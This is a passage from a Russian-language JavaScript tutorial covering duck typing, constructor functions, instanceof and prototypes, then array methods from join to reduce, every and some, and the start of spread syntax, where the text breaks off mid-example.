Чтобы лучше понять, почему это проблема, рассмотрим пример, с которым вы наверняка столкнётесь в работе фронтенд-разработчиком:

```
const listOfNumbers = [1, 2, 3, 4];
console.dir(listOfNumbers);
```

Код приведённого листинга крайне прост: мы объявили массив и вывели его содержимое в консоль. Как нам отличить массив от чего-то другого? Мы можем проверить наличие свойства `length` (длина массива) или попробовать получить какой-то элемент по индексу:

```
console.log(listOfNumbers.length); // 4
console.log(listOfNumbers[0]); // 1
```

Также мы можем пойти дальше и проверить наличие метода `forEach`, который есть у всех массивов. Теперь давайте взглянем на пример, который разобьёт в пух и прах наши рассуждения. Например:

```
const listOfDivs = document.querySelectorAll('div');
console.log(listOfDivs.forEach); // function...
```

В этом коде мы получаем из произвольного документа коллекцию `div` элементов. Теперь давайте посмотрим на результат и порассуждаем. На вид результат похож на массив. Свойство `length` есть. Метод `forEach` есть. Обратиться по индексу к элементу тоже возможно. Набор признаков совпадает, но ведь мы понимаем, что на самом деле это не массив. Не верите? Попробуйте у такого массива вызвать метод `map`:

```
listOfDivs.map(function(element) {
  console.log(element);
});
```

Такой код создаст нам ошибку `TypeError`. У массивоподобного объекта `listOfDivs` нет метода `map`. Получается, что, полагаясь на изучение объекта по формальным признакам (наличие определённых свойств, методов и т. д.), мы рискуем нарваться на ошибку в самом неожиданном месте.

Идея определения типа объекта по формальным признакам стара как мир. Этот подход называется «утиная типизация». Идея подхода проста: если это выглядит как утка, плавает как утка и крякает как утка, то, возможно, это действительно утка. Чуть выше мы применили этот подход в действии, пытаясь определить тип объекта по формальным признакам (длина, наличие определённых свойств и т. д.).

Проверка с помощью «утиной типизации» реализуется просто, но проблем у неё хватает. Все проблемы, которые мы рассмотрели на примере массива и массивоподобного объекта, также могут произойти и с функцией `createWizard`. Единственный способ убедиться, что функция будет возвращать то, что мы ожидаем — посмотреть её код.

Функции-конструкторы

В языке JavaScript есть готовое решение для описанной проблемы. Пришло время познакомиться с функциями-конструкторами. Функции-конструкторы позволяют получить объект и быть точно уверенными, что этот объект был создан с помощью определённой функции-конструктора. Можно сказать, что у нас появляется возможность определять тип объекта. Перед тем, как начать рассматривать особенности применения функций-конструкторов, давайте перепишем наш пример. Напомню, мы хотим создать функцию, которая вернёт объект с данными волшебника.

```
const Wizard = function (name, coatColor, eyesColor) {
  this.name = name;
  this.coatColor = coatColor;
  this.eyesColor = eyesColor;
};

const someWizard = new Wizard(
  `${getRandomArrayElement(NAMES)} ${getRandomArrayElement(SURNAMES)}`,
  getRandomArrayElement(COAT_COLORS),
  getRandomArrayElement(EYES_COLORS),
);
```

Посмотрим, что здесь происходит. В самом начале мы объявляем новую функцию-конструктор (`Wizard`). Обратите внимание, имя функции мы записываем с прописной буквы и не используем в имени глагол (об этом позже).

В теле функции `Wizard` мы не создаём новый объект, как в прошлый раз, а добавляем ключи к `this`. Да-да, к тому самому контексту. Потому что в функции-конструкторе контекст `this` содержит ссылку на новый объект, который создаст и вернёт функция-конструктор. Поэтому, если нам нужно добавить какое-то свойство в возвращаемый объект, то мы так и пишем: `this.somethingProperty = 1`.

Чем ещё выделяется эта функция? Тут нет `return`. Зато есть `this`. Дело в том, что новый объект создаётся и возвращается автоматически при использовании `new`. Функции-конструкторы всегда должны вызываться с помощью оператора `new`. Если этого не сделать, то результат вас удивит. Попробуйте протестировать в консоли браузера.

Объект, я тебя знаю

Мы переписали код, воспользовавшись в этот раз функцией-конструктором. Получилось неплохо, но пока мы не увидели главного преимущества и не можем ответить на вопрос: «Как убедиться, что полученный объект действительно создан с помощью определённой функции-конструктора?» Действительно, на выходе мы получили объект, но и в прошлый раз мы тоже получали объект.

Как нам убедиться, что объект действительно создан с помощью конструктора `Wizard`? Для этого в языке JavaScript есть отдельный оператор `instanceof`. Пользоваться им просто:

```
проверяемый_объект instanceof функция_конструтор
```

Результатом вычисления этого выражения будет булево значение: `true` — значит объект был создан с помощью указанной функции-конструктора, `false` — нет. Как видите, ничего сложного в этом нет. Давайте посмотрим несколько примеров:

```
console.log(someWizard instanceof Wizard); // true
console.log({} instanceof Wizard); // false
```

Вот так просто и без лишних сложностей мы можем ответить на вопрос: создан ли объект с помощью функции-конструктора или, как принято говорить, является ли объект экземпляром определённого объекта.

Вместо заключения

- В качестве имени для функции-конструктора всегда используется существительное. Никаких глаголов быть не должно. Например: `Car`, `Box`, `Wizard` и т. д.
- Имена таких функций принято писать с прописной буквы. Это договорённость и общая рекомендация, позволяющая легко и быстро отличать функции-конструкторы от других функций.
- Функции-конструкторы всегда вызываются с помощью оператора `new`.
- Доступ к объекту, который возвращает функция-конструктор находится в `this`. Именно через `this` вы должны добавлять все новые свойства.
- Вам необязательно писать `return` в теле конструктора. Объект, создаваемый внутри функции конструктора (`this`), возвращается автоматически.
- Проверить, родство объекта с определённой функцией-конструктором нам поможет оператор `instanceof`.

> « В стандарте ECMAScript 2015 появился другой, более лаконичный синтаксис для создания объектов по образу функций-конструкторов — классы. С ними мы подробно знакомим на курсе «JavaScript. Архитектура клиентских приложений»

Теория ~ 6 минут

Глава 2.14. Введение в прототипы

Что такое прототип

Прототип — объект, привязанный к функции-конструктору, содержащий общие методы и свойства для всех объектов, созданных с помощью этого конструктора. Определение звучит сложновато, поэтому давайте попробуем разобрать его по частям.

Итак, начнём с главного. Прототип — это объект. Так проще? Хорошо, тогда будем двигаться в этом направлении. Вспомним про функции-конструкторы. Каждый раз, когда вы создаёте функцию-конструктор, у вас создаётся специальный объект. Этот объект необходим для того, чтобы описывать в нём повторяющиеся от объекта к объекту свойства и методы. Давайте посмотрим на примере.

```
function Wizard (name, skill) {
  this.name = name;
  this.skill = skill;
  this.fire = function () {
    const baseFireballSize = 10;
    const fireballSize = baseFireballSize * this.skill;
    console.log(`Огненный шар размером ${fireballSize}`);
  };
}

const gendalfWizard = new Wizard('Гендальф', 5);
const sauronWizard = new Wizard('Саурон', 10);

gendalfWizard.fire(); // Огненный шар размером 50
sauronWizard.fire(); // Огненный шар размером 100
```

В этом примере мы описали функцию-конструктор `Wizard`. С её помощью мы будем создавать волшебников. У каждого волшебника есть имя (`name`) и уровень мастерства (`skill`). Чем выше уровень мастерства, тем более мощные огненные шары умеет создавать волшебник. Огненный шар волшебник создаёт с помощью метода (функции) `fire`.

Мы создали двух волшебников: Гендальфа и Саурона. У Саурона опыта больше, поэтому он умеет делать очень большие огненные шары. Код работает превосходно, и мы можем создать бесчисленную армию волшебников разного калибра.

Давайте подумаем вот о чём. Абсолютно у всех волшебников есть метод (функция) `fire`. Этот метод мы описали в теле функции-конструктора. Для каждого объекта, который мы создадим с помощью этой функции, будет создана своя уникальная функция `fire`. Получается, если мы сделаем пять волшебников, то функция `fire` будет создана пять раз. Одна и та же функция будет доступна в пяти разных копиях.

Вы, наверняка, догадались, что это не очень хорошо. При создании функции движку JavaScript требуется выделять какие-то ресурсы (например, память). Получается, чем больше у нас будет одинаковых функций, тем больше ресурсов придётся выделить впустую.

Давайте убедимся, что функция `fire` первого волшебника — это отдельная копия функции. Как это сделать? Да очень просто, мы можем их сравнить:

```
console.log(gendalfWizard.fire === sauronWizard.fire); // false
```

Результатом сравнения будет `false`, т. е. несмотря на идентичность поведения, это две абсолютно разные функции. Следовательно, если мы сделаем 1000 волшебников, то JavaScript придётся создать 1000 копий функции `fire`.

Прототипы приходят на помощь

Решить озвученную выше задачу не сложно, и помогут нам в этом прототипы. Напомним, прототип — это обычный объект. Он создаётся для каждой функции-конструктора. Это происходит автоматически, дополнительных действий от разработчика не требуется. Вы можете добавлять в этот объект методы (функции), свойства. Они будут доступны всем объектам, созданным с помощью функции-конструктора.

На практике это выглядит следующим образом. Давайте посмотрим на листинг ниже, в котором функция-конструктор `Wizard` немного отрефакторена. Мы вынесли метод `fire` в прототип.

```
function Wizard (name, skill) {
  this.name = name;
  this.skill = skill;
}

Wizard.prototype.fire = function () {
  const baseFireballSize = 10;
  const fireballSize = baseFireballSize * this.skill;
  console.log(`Огненный шар размером ${fireballSize}`);
}

// Остальной код остался без изменений
```

Самое интересное начинается в строке, где мы добавляем в объект `prototype` метод `fire`. Это самый обычный объект, следовательно, для добавления новых свойств или методов мы можем применять уже знакомые подходы. Мы вынесли в прототип метод `fire`. Теперь он будет существовать в единичном экземпляре, и все волшебники смогут им пользоваться. Мы можем в этом легко убедиться, повторно сравнив метод `fire` у волшебников. В этот раз результат будет `true`:

```
console.log(gendalfWizard.fire === sauronWizard.fire); // true
```

Сколько бы мы не создали волшебников, функция `fire` будет существовать в единичном экземпляре.

Как это работает

Хорошо, проблему с `fire` мы решили, но возникает резонный вопрос: «А как это работает?». Как JavaScript понимает, что у волшебников есть метод `fire`? В конструкторе описаны только свойства `name` и `skill`, а метод `fire` описан совершенно в другом месте. Магия?

Нет, магии, к счастью, не существует. Когда создаётся новый объект (с помощью функции-конструктора), то помимо перечисленных в конструкторе свойств этому объекту добавляется свойство `__proto__`. В этом свойстве содержится ссылка на свойство `prototype` функции-конструктора, с помощью которой был создан объект, т. е. применительно к нашему случаю ссылка на `Wizard.prototype`. Вы можете это проверить самостоятельно:

```
console.log(gendalfWizard.__proto__ === Wizard.prototype); // true
```

Дальше алгоритм такой: при обращении к свойству или методу JavaScript пытается найти его среди собственных свойств объекта. Если поиск не увенчался успехом, то предпринимается попытка найти его в прототипе, а доступ к прототипу есть в свойстве `__proto__`.

> К счастью для разработчиков, начиная со стандарта ECMAScript 2015, в синтаксис JavaScript была добавлена более удобная конструкция для реализации той же функциональности (и не только той же!) — классы. С ними мы подробно знакомим на курсе «JavaScript. Архитектура клиентских приложений».

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Введение ~ 2 минуты

Глава 3.1. Массивы и их методы

Массивы в JavaScript обладают набором полезных методов, позволяющих более гибко манипулировать их содержимым. С помощью этих методов вы можете перебирать значения массива (без использования циклов), трансформировать массив и делать другие полезные вещи. Методов у массивов больше двух десятков, мы разберём наиболее полезные и часто применяемые методы. Информацию о всех методах массивов вы всегда можете найти в справочнике разработчика MDN.

Методом называют обычную функцию, которая является частью большой сущности, объекта. Например, знакомый вам из тренажёра метод `keks.plot()`. Многие методы массивов, если не сказать большая их часть, в качестве аргумента принимают другую функцию, которая будет вызвана не в момент передачи, а потом. Эта функция, предназначенная для отложенного выполнения, называется колбэком (от англ. callback, перезвонить) или по-русски «функцией обратного вызова».

```
[1, 2, 3].forEach(function () {});
//                ^^^^^^^^^^^^^^ вот он, колбэк
```

Действительно, принцип работы колбэков схож с заказом обратного телефонного звонка. Представьте, что вы звоните заказать пиццу, но срабатывает автоответчик, где приятный голос просит оставаться на линии, пока не освободится оператор, или предлагает заказать обратный звонок. Когда оператор освободится — он перезвонит и примет заказ. В таком случае вместо ожидания ответа оператора мы можем заниматься своими делами, как только нам перезвонят (произойдёт колбэк), мы сможем выполнить задуманное — заказать пиццу.

Так и с колбэками, которые мы передаём в методы массивов. Объявляем мы их сразу:

```
[1, 2, 3].forEach(function () {});
```

А вызов колбэка `function () {}` произойдёт где-то во внутренностях метода `.forEach()`, описанного в движке JavaScript.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Введение ~ 2 минуты

Глава 3.1. Массивы и их методы

Массивы в JavaScript обладают набором полезных методов, позволяющих более гибко манипулировать их содержимым. С помощью этих методов вы можете перебирать значения массива (без использования циклов), трансформировать массив и делать другие полезные вещи. Методов у массивов больше двух десятков, мы разберём наиболее полезные и часто применяемые методы. Информацию о всех методах массивов вы всегда можете найти в справочнике разработчика MDN.

Методом называют обычную функцию, которая является частью большой сущности, объекта. Например, знакомый вам из тренажёра метод `keks.plot()`. Многие методы массивов, если не сказать большая их часть, в качестве аргумента принимают другую функцию, которая будет вызвана не в момент передачи, а потом. Эта функция, предназначенная для отложенного выполнения, называется колбэком (от англ. callback, перезвонить) или по-русски «функцией обратного вызова».

```
[1, 2, 3].forEach(function () {});
//                ^^^^^^^^^^^^^^ вот он, колбэк
```

Действительно, принцип работы колбэков схож с заказом обратного телефонного звонка. Представьте, что вы звоните заказать пиццу, но срабатывает автоответчик, где приятный голос просит оставаться на линии, пока не освободится оператор, или предлагает заказать обратный звонок. Когда оператор освободится — он перезвонит и примет заказ. В таком случае вместо ожидания ответа оператора мы можем заниматься своими делами, как только нам перезвонят (произойдёт колбэк), мы сможем выполнить задуманное — заказать пиццу.

Так и с колбэками, которые мы передаём в методы массивов. Объявляем мы их сразу:

```
[1, 2, 3].forEach(function () {});
```

А вызов колбэка `function () {}` произойдёт где-то во внутренностях метода `.forEach()`, описанного в движке JavaScript.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 1 минута

Глава 3.1.1. Склейка элементов массива

Метод `.join()` приводит все элементы массива к строке и конкатенирует их в одну итоговую строку, разделяя переданным символом — разделителем.

```
const titles = ['Die hard', 'Terminator'];

const message = titles.join('. ');

console.log(message); // 'Die hard. Terminator'
```

Разделитель можно не передавать, по умолчанию это запятая:

```
const titles = ['Die hard', 'Terminator'];

const message = titles.join();

console.log(message); // 'Die hard,Terminator'
```

Если в массиве только один элемент, то он будет приведён к строке и возвращён без разделителя:

```
const titles = ['Die hard'];

const message = titles.join('.');

console.log(message); // 'Die hard', а не 'Die hard.'
```

Обратите внимание, что приведение элементов массива к строке производится по правилам приведения типов. И элементы вроде `undefined` или `null` будут приведены к пустой строке.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 1 минута

Глава 3.1.2. Объединение массивов в один новый

Метод `.concat()` используется для склеивания двух и более массивов в один.

```
первый_массив.concat(второй_массив[, третий_массив])
```

Например:

```
const ivanFavoriteFilms = ['Die hard', 'Terminator'];
const mariaFavoriteFilms = ['Kindergarten Cop'];

const favoriteFilms = ivanFavoriteFilms.concat(mariaFavoriteFilms);

console.log(favoriteFilms); // ['Die hard', 'Terminator', 'Kindergarten Cop']
```

Метод не изменяет исходный массив, а возвращает новый.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 2 минуты

Глава 3.1.3. Копирование массива или его части

Метод `slice` возвращает копию всех или части элементов исходного массива. Метод не изменяет исходный массив, а возвращает новый. Чтобы получить часть элементов в виде нового массива, нужно передать аргументами диапазон индексов:

```
массив.slice(минимальный_индекс, максимальный_индекс)
```

Например:

```
const films = ['Die hard', 'Terminator', 'Kindergarten Cop'];

console.log(films.slice(0, 2)); // ['Die hard', 'Terminator']
```

Обратите внимание, что элемент с максимальным индексом переданного диапазона в копию не попадает. Например, элемент с индексом `2` в массиве `films` — это `'Kindergarten Cop'`, но он в копию не попал.

Кстати, если нужна копия элементов с какого-то индекса и до конца, максимальный индекс диапазона можно не указывать:

```
const films = ['Die hard', 'Terminator', 'Kindergarten Cop'];

console.log(films.slice(1)); // ['Terminator', 'Kindergarten Cop']
```

Кроме использования по прямому назначению — получение части элементов в виде нового массива — `slice` часто используют для создания копии целого массива. Для этого просто не указывают диапазон:

```
const films = ['Die hard', 'Terminator', 'Kindergarten Cop'];

const copyOfFilms = films.slice();

console.log(copyOfFilms); // ['Die hard', 'Terminator', 'Kindergarten Cop']

console.log(films === copyOfFilms); // false
```

Почему в конце при сравнении `films` и `copyOfFilms` получается `false`, рассказываем в главе:

— Сравнение сложных типов данных

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 1 минута

Глава 3.1.4. Расположение элементов массива в обратном порядке

Метод массива `.reverse()` «переворачивает» массив с ног на голову, то есть располагает элементы *в том же массиве* в обратном порядке. Рассмотрим на примере массива с числами:

```
const numbers = [0, 1, 2, 3, 4];
const reversedNumbers = numbers.reverse();

console.log(reversedNumbers); // [4, 3, 2, 1, 0]
console.log(numbers); // [4, 3, 2, 1, 0]
// ...
```

Так как элементы переставляются в исходном массиве, результат работы метода — ссылка на этот исходный массив:

```
// ...
console.log(numbers === reversedNumbers); // true
```

Такие методы ещё называют мутирующими, и чтобы избежать неожиданных мутаций, используют метод `.slice()`:

```
const numbers = [0, 1, 2, 3, 4];
const reversedNumbers = numbers.slice().reverse();

console.log(reversedNumbers); // [4, 3, 2, 1, 0]
console.log(numbers); // [0, 1, 2, 3, 4]
console.log(numbers === reversedNumbers); // false
```

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 3 минуты

Глава 3.1.5. Поиск элементов в массиве

Метод `.find()` позволяет решить одну из самых часто возникающих задач при работе с массивами — осуществить поиск элемента. Раз массивы позволяют хранить наборы значений, то рано или поздно может потребоваться найти значение, которое соответствует определённому условию.

Метод `.find()` как и другие методы аргументом принимает функцию, которая будет вызвана для каждого элемента массива, пока не найдётся элемент, который удовлетворяет условию. Как только такой элемент будет найден, метод `.find()` прекратит работу и вернёт найденный элемент.

```
массив.find((текущий_элемент_массива, индекс_текущего_элемента, ссылка_на_весь_массив) => {})
```

Рассмотрим метод `.find()` на примере поиска подстроки в массиве:

```
const titles = ['Die hard', 'Terminator'];

const favoriteFilmTitle = titles.find((title) => title.includes('hard'));

console.log(favoriteFilmTitle); // 'Die hard'
```

▶ Что за метод `.includes()`

Но что вернёт функция, если в массиве есть несколько элементов, удовлетворяющих условию? Ответ прост: первый элемент, который соответствует условию. После этого работа метода будет прервана. А если метод `.find()` не найдёт ни одного элемента, удовлетворяющего условию, функция вернёт `undefined`.

findIndex

Метод работает один в один как `.find()`, только результатом вернёт не найденный элемент, а его индекс в массиве.

```
массив.findIndex((текущий_элемент_массива, индекс_текущего_элемента, ссылка_на_весь_массив) =>
{})
```

Например:

```
const titles = ['Die hard', 'Terminator'];

const favoriteFilmTitleIndex = titles.findIndex((title) => title.includes('hard'));

console.log(favoriteFilmTitleIndex); // 0
```

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 2 минуты

Глава 3.1.6. Перебор массива

Перебор значений, наверное, самая частая задача при работе с массивами. Если мы храним набор значений, то рано или поздно возникнет необходимость проделать какую-то операцию с элементами этого набора. Для решения этой задачи можно воспользоваться операторами циклов `for` или `while`, или сделать то же самое с помощью метода `.forEach()`.

Метод `.forEach()` позволяет выполнить произвольную функцию однократно для каждого элемента. Попросту говоря: он запускает перебор значений массива и для каждого значения выполняет функцию.

```
массив.forEach((текущий_элемент_массива, индекс_текущего_элемента, ссылка_на_весь_массив) => {})
```

Рассмотрим пример:

```
const fruits = ['banana', 'apple', 'lemon', 'orange'];

fruits.forEach((value, index, array) => {
  console.log(value);
});

// Выведет в консоль:
//   'banana'
//   'apple'
//   'lemon'
//   'orange'
```

В примере выше мы определяем такую функцию с тремя параметрами:

- `value` — текущий элемент массива;
- `index` — порядковый номер (индекс) текущего элемента массива;
- `array` — ссылка на сам массив.

Эти параметры будут доступны при каждом вызове функции.

Если вам не требуется порядковый номер элемента в массиве или как-то взаимодействовать с массивом, то соответствующие параметры в функции можно не определять и воспользоваться более сокращённой записью:

```
массив.forEach((текущий_элемент_массива) => {})
```

Например:

```
fruits.forEach((value) => {
  console.log(value);
});
```

При использовании метода `.forEach()` стоит помнить одну важную деталь: работу метода нельзя остановить. Оператор `break` не поможет. Поэтому если вам требуется перебрать только часть массива, то `.forEach()` следует отодвинуть в сторонку и воспользоваться циклом `for`. Помните об этом.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 3 минуты

Глава 3.1.7. Преобразование массива

Преобразование — одна из частых задач при работе с массивами. С помощью метода `.map()` мы можем итерироваться по массиву, изменять его элементы и в результате получить новый массив.

```
массив.map((текущий_элемент_массива, индекс_текущего_элемента, ссылка_на_весь_массив) => {})
```

Рассмотрим пример. Предположим, у нас есть массив `films` с фильмами. Каждый фильм описан в виде объекта с двумя ключами:

- `id` — идентификатор фильма;
- `title` — название фильма.

Примерно вот так:

```
const films = [
  {
    id: 0,
    title: 'Die hard',
  },
  {
    id: 1,
    title: 'Terminator',
  },
];
```

Наша задача заключается в получении массива, который будет содержать только названия фильмов. То есть на выходе мы должны получить массив вида: `['Die hard', 'Terminator']`.

У любой задачи всегда есть минимум два решения. Можно решить её «в лоб» и воспользоваться знаниями о методе `.forEach()`. Алгоритм будет таким: заводим новый массив и начинаем перебирать `films` методом `.forEach()`. В функции, которая будет вызываться для каждого элемента, напишем код для добавления названия фильма в новый массив. На этом задача, можно сказать, решена. Пример такого решения:

```
const films = [
  {
    id: 0,
    title: 'Die hard',
  },
  {
    id: 1,
    title: 'Terminator',
  },
];

const titles = [];

films.forEach((film, index) => {
  titles[index] = film.title;
});

console.log(titles); // ["Die hard", "Terminator"]
```

Код работает, однако нам нужно руками заводить пустой массив `titles`, руками в него добавлять элементы. Зачем, если существует метод `.map()`, который может взять эти обязанности на себя:

```
const films = [
  {
    id: 0,
    title: 'Die hard',
  },
  {
    id: 1,
    title: 'Terminator',
  },
];

const titles = films.map((film) => {
  return film.title;
});

console.log(titles); // ["Die hard", "Terminator"]
```

Результатом выполнения метода `.map()` будет новый массив, собранный из значений, которые вернёт функция, переданная в качестве параметра методу `.map()`.

Кстати, параметры колбэка у метода `.map()` такие же, как у колбэка `.forEach()` — `текущий_элемент_массива`, `индекс_текущего_элемента`, `ссылка_на_весь_массив`. Выходит, что метод `.map()` похож на `.forEach()`. Только он позволяет не просто перебрать все значения массива, а получить новый массив значений.

Метод `.map()` удобно использовать, когда требуется трансформировать массив, то есть создать новый массив на основе существующего.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 5 минут

Глава 3.1.8. Свёртка массива

Может показаться, что `.reduce()` — ещё один метод, позволяющий перебрать содержимое массива, но его основная задача — свернуть массив, то есть из набора значений получить одно. Это значение может быть произвольного типа. За счёт этой возможности метод `.reduce()` становится мощным инструментом, позволяющим решить множество разных задач.

Перед тем как познакомиться с примером, давайте рассмотрим аргументы самого метода:

```
массив.reduce(колбэк_функция[, начальное_значение_результата]);
```

В отличие от других методов массива `.reduce()` может принимать второй аргумент — начальное значение результата, а точнее результирующего значения, того, что мы получим по итогу работы метода. Этот аргумент опциональный (в описании такие оборачиваются `[, ]`), его можно передать:

```
[1, 2, 3].reduce(() => {}, 0);
```

А можно не передавать:

```
[1, 2, 3].reduce(() => {});
```

Что будет, если его не передать, расскажем в конце главы.

Теперь разберём параметры колбэк-функции:

```
(результирующее_значение, текущий_элемент_массива, индекс_текущего_элемента,
ссылка_на_сам_массив) => {};
```

Их аж четыре:

- `результирующее_значение` — параметр, через который передаётся предыдущий результат выполнения функции, таким образом этот параметр «кочует» от перебора одного элемента к перебору другого. Та отличительная особенность `.reduce()` от других методов;
- `текущий_элемент_массива` — элемент массива, для которого вызывается колбэк-функция;
- `индекс_текущего_элемента` и `ссылка_на_сам_массив` — тут должно быть понятно без лишних слов.

Рассмотрим применение метода `.reduce()` на практическом примере — подсчёт суммы. Для наглядности опишем задачу так: есть корзина с товарами (массив), где каждый товар представлен объектом с несколькими ключами: `title` (название товара), `quantity` (количество) и `price` (цена). Наша задача заключается в подсчёте общей суммы стоимости всех товаров, и в этом нам поможет метод `.reduce()`:

```
const goods = [
  {
    title: 'Кукуруза',
    quantity: 3,
    price: 99,
  },
  {
    title: 'Корм для кота',
    quantity: 2,
    price: 113,
  },
];

const sum = goods.reduce((total, product) => total + (product.quantity * product.price), 0);

console.log(sum); // 523
```

В этом примере мы посчитали общую сумму стоимости всех товаров и для этого нам потребовалась одна строчка кода, никаких дополнительных переменных как в случае с `.forEach()` или `for`-циклом.

Как это работает? Метод `.reduce()` вызывает переданную функцию для каждого элемента массива. Результат выполнения этой функции доступен на следующей итерации через параметр `total`. Для первой итерации значение `total` будет `0`, потому что мы передали его вторым аргументом в сам `.reduce()`. После завершения всех итераций значение `total` станет результатом выполнения `.reduce()`.

Что происходит внутри колбэк-функции? Она задаёт новое результирующее значение. Не изменяет, а именно задаёт новое! Да, на основе предыдущего, потому что мы прибавляем к результату прошлой итерации произведение количества товара и его стоимости.

Метод `.reduce()` штука сложная, поэтому давайте ещё раз разберём, как будет выполняться этот код, но уже по шагам.

На первой итерации результирующим значением будет `0` — мы определили его самостоятельно, передав вторым аргументом в метод `.reduce()`. Получается, что на первой итерации выражение будет таким:

```
0 + (3 * 99) = 297;
```

Это мы посчитали стоимость первого товара («Кукуруза»).

На второй итерации мы переходим к следующему товару — «Корм для кота». На этот раз значением `total` будет `297` — результат выполнения функции на прошлой итерации — и к этому значению мы прибавляем стоимость второго товара:

```
297 + (2 * 113) = 523;
```

Поскольку больше элементов в массиве нет, метод `.reduce()` завершит работу и вернёт значение `total`, поэтому результатом выполнения `.reduce()` будет `523`.

Что будет, если не передать начальное значение результата?

Если забыть или нарочно не передать второй аргумент в `.reduce()`, тогда он начнёт обход массива со второго элемента, а начальным значением возьмёт первый элемент:

```
['x', 'y'].reduce((total, current, index) => {
  console.log(total); // 'x'
  console.log(current); // 'y'
  console.log(index); // 1
});
```

Из примера видно, что `.reduce()` начал работу сразу с `'y'`, а результирующим значением для первой проходки взял `'x'`.

Это не ошибка, а заложенное поведение. Удобно, когда вам нужно просуммировать элементы массива — числа:

```
[5, 2, 3].reduce((total, current) => total + current); // 10
```

Результат будет аналогичный «полной» записи:

```
[5, 2, 3].reduce((total, current) => total + current, 0); // 10
```

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 2 минуты

Глава 3.1.9. Проверка каждого элемента массива на условие «удовлетворяют все»

При помощи метода `.every()` можно проверить, что условию соответствуют все элементы массива. Результатом вызова метода `.every()` будет булево значение: `true` или `false`.

```
массив.every((текущий_элемент_массива, индекс_текущего_элемента, ссылка_на_весь_массив) => {})
```

Метод `.every()` так же аргументом принимает функцию, которая будет вызываться для каждого элемента до тех пор, пока при проверке условия не вернётся `false`. В таком случае метод `.every()` прекратит выполнение и вернёт `false`. Если для каждого элемента массива будет возвращено значение `true`, то результатом метода `.every()` также станет `true`:

```
const numbers = [11, 12, 13, 15, 100];

const isEveryNumberOverTen = numbers.every((value) => {
  return value > 10;
}); // every вернёт true, потому что все элементы массива больше 10
```

Добавим в массив `numbers` элемент меньше `10`:

```
const numbers = [11, 12, 13, 15, 100, 9];

const isEveryNumberOverTen = numbers.every((value) => {
  return value > 10;
}); // every вернёт false, потому что один элемент массива меньше 10
```

У метода `.every()` есть одна особенность. Если вызвать его на пустом массиве, то результатом всегда будет `true` вне зависимости от условия:

```
const result = [].every(() => {
  return 1 === 1;
}); // every всё равно вернёт true, хотя массив пустой
```

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 2 минуты

Глава 3.1.10. Проверка каждого элемента массива на условие «удовлетворяет хоть один»

Метод `.some()` тоже относится к перебирающим методам массива. То есть это очередной метод, позволяющий перебрать элементы массива, но с одной особенностью. С его помощью можно проверить, присутствует ли в массиве элемент, который удовлетворяет определённому условию. Результатом выполнения метода `.some()` будет булево значение: `true` или `false`.

```
массив.some((текущий_элемент_массива, индекс_текущего_элемента, ссылка_на_весь_массив) => {})
```

Метод `some` перебирает элементы массива и для каждого элемента вызывает переданную функцию. Метод `.some()` будет вызывать функцию для каждого элемента, пока она не вернёт `true`. Как только это случится, метод `.some()` прервёт работу и вернёт в качестве результата значение `true`.

Если для всех элементов массива переданная функция вернёт `false`, тогда результатом `.some()` станет `false`. Получается, метод `.some()` решает задачу проверки элементов массива на соответствие какому-то условию. Рассмотрим на практическом примере:

```
const numbers = [1, 4, 10, 5];

const isExistsOverFive = numbers.some((value) => {
  return value > 5; // Проверяем каждый элемент, больше ли он, чем 5
}); // Когда some дойдёт до 10, то прекратит работу и вернёт true

const isExistsOverTwenty = numbers.some((value) => {
  return value > 20; // Проверяем каждый элемент, больше ли он, чем 20
}); // some пройдёт все элементы, они все меньше 20, поэтому some вернёт false
```

У метода `.some()` есть одна особенность. Если вызвать его на пустом массиве, то результатом всегда будет `false` вне зависимости от условия:

```
const result = [].some(() => {
  return 1 === 1;
}); // так как массив пустой, some вернёт false
```

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 4 минуты

Глава 3.2. spread-синтаксис

spread-синтаксис или синтаксис расширения, распространения — это способ расширить одну перечисляемую структуру элементами другой. Можно сказать, spread-синтаксис в какой-то степени обратный rest-параметрам. Даже знак используется один и тот же, многоточие `...`

Для примера возьмём массивы. Для объединения массивов существует метод `.concat()`:

```
[1, 2].concat([3, 4]); // [1, 2, 3, 4]
```

С помощью spread-синтаксиса можно обойтись без использования `.concat()`:

```
[1, 2, ...[3, 4]]; // [1, 2, 3, 4]
```

Мы как бы говорим JavaScript: «Отбрось скобки».

Может возникнуть справедливый вопрос, а зачем нам ещё один способ сделать `.concat()`? Дело в том, что spread-синтаксис работает гораздо шире. Метод `.concat()` возвращает массив, а spread откидывает скобки и возвращает содержимое массива. И если место, где это произошло, может принять содержимое — *это важно* — мы получим элементы массива через запятую.

А кто умеет принимать значения через запятую? Ну, кроме объявления массива... Функции! Например, существует метод `Math.max()`, который принимает через запятую значения и возвращает максимальное из них:

```
Math.max(1, 2, Infinity, 100, -3); // Infinity
```

Но что делать, если у нас значения хранятся в массиве:

```
const numbers = [1, 2, Infinity, 100, -3];

Math.max(numbers); // NaN
```

`Math.max()` не умеет работать с массивами, поэтому результат `NaN`.

На помощь приходит spread-синтаксис, который «отбрасывает скобки», а содержимое массива передаёт в `Math.max()`:

```
const numbers = [1, 2, Infinity, 100, -3];

Math.max(...numbers); // Infinity
```

Мысленно можно представить, что произошёл вызов `Math.max(1, 2, Infinity, 100, -3)`.

Также в начале главы не просто так говорится о «перечисляемых структурах», а не просто о массивах. spread-синтаксис можно использовать, например, с объектами вместо `Object.assign()`:

```
// Обе записи равнозначны

